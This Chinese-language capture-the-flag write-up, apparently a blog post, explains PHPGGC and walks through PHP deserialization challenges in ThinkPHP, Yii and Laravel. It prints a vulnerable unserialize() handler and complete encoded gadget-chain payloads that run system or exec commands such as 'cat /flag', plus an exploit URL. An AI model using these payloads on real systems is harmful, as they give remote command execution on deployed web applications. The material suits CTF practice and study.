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重庆建工集团股份有限公司官网,wordpress seo插件,明星百度指数在线查询,网站建设考试题目前言 php反序列化的框架的利用的pop是非常难写的并且我们不知道他的利用方法所以PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时，或者只是在尝试构建漏洞时，此工具…

前言

php反序列化的框架的利用的pop是非常难写的并且我们不知道他的利用方法

所以PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时，或者只是在尝试构建漏洞时，此工具允许您生成有效负载，而无需执行查找小工具并将它们组合的繁琐步骤。它可以看作是frohoff的ysoserial的等价物，但是对于PHP。目前该工具支持的小工具链包括：CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

https://github.com/ambionics/phpggc

使用方法也是非常简单只需要动动手指下载解压拖到kali 之后进入目录调用 php phpggc -l

查看方法即可

[安洵杯 2019]iamthinking thinkphp框架的反序列化

这个的提示就告诉我们是个简单的 thinkphp

框架知道了就需要进行利用

这种反序列化的题没有源码是做不了的所以我们可以先进行网站的目录扫描或者是先试一下有没有网站的备份目录 www.zip 拿到分析源码

拿到版本之后我们就进入他的主页寻找有没有反序列化的点

    public function index(){echo "<img src='../test.jpg'"."/>";$paylaod = @$_GET['payload'];   // 传入点是 payloadif(isset($paylaod)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if(preg_match("/^O/i",$value)){die('STOP HACKING');exit();}}unserialize($paylaod);  //这里是个反序列化的利用  }}
}

其实到这信息都有了确认是tp框架造成的因为框架的语言和原语言的差别还是很大的所以这个pop的构造我们只能使用 TP框架进行构造

还是老老实实当脚本小子

复制编码内容

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22cp+fla%2A+xx.txt%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22cp+fla%2A+xx.txt%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

因为这个匹配不是多次的所以只需要多加几个 //就行

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

因为是有回显的所以就生成的时候直接 'cat fla*' 就行了

Yii框架的反序列化 ctfshow 267

这个有个坑坑就是他不是直接给你源码的是一个源码泄露的点但是我们现在不关心这个我们需要的练习 yii的框架反序列化

view-source:https://4dec4b03-e7e2-4921-8c85-4604d807af6a.challenge.ctf.show/index.php?r=site%2Fabout&view-source

一个这个点是个源码泄露 ctrl u 查看源码

找到 yii 源码

拿到版本

工具找是否有可利用的版本

正好倒数后边两个是可以直接使用的让工具为我们生成pop

看类型选择我们选倒数第二个的原因就是他是命令执行

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czoyOiJscyI7aToxO2k6MDt9fX19fX0

搞了一下发现没有回显那就生成一个书写模式的

exec 'cp /fla* tt.txt' 执行这个命令

https://4dec4b03-e7e2-4921-8c85-4604d807af6a.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTU6ImNwIC9mbGEqIHR0LnR4dCI7aToxO2k6MDt9fX19fX0=

Laravel 框架漏洞 ctfshow 271

关键词触发 laravel 框架并且有个反序列化

唯一的不足就是我们不知道他的版本

那就都试一下

O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A2%3A%22ls%22%3B%7D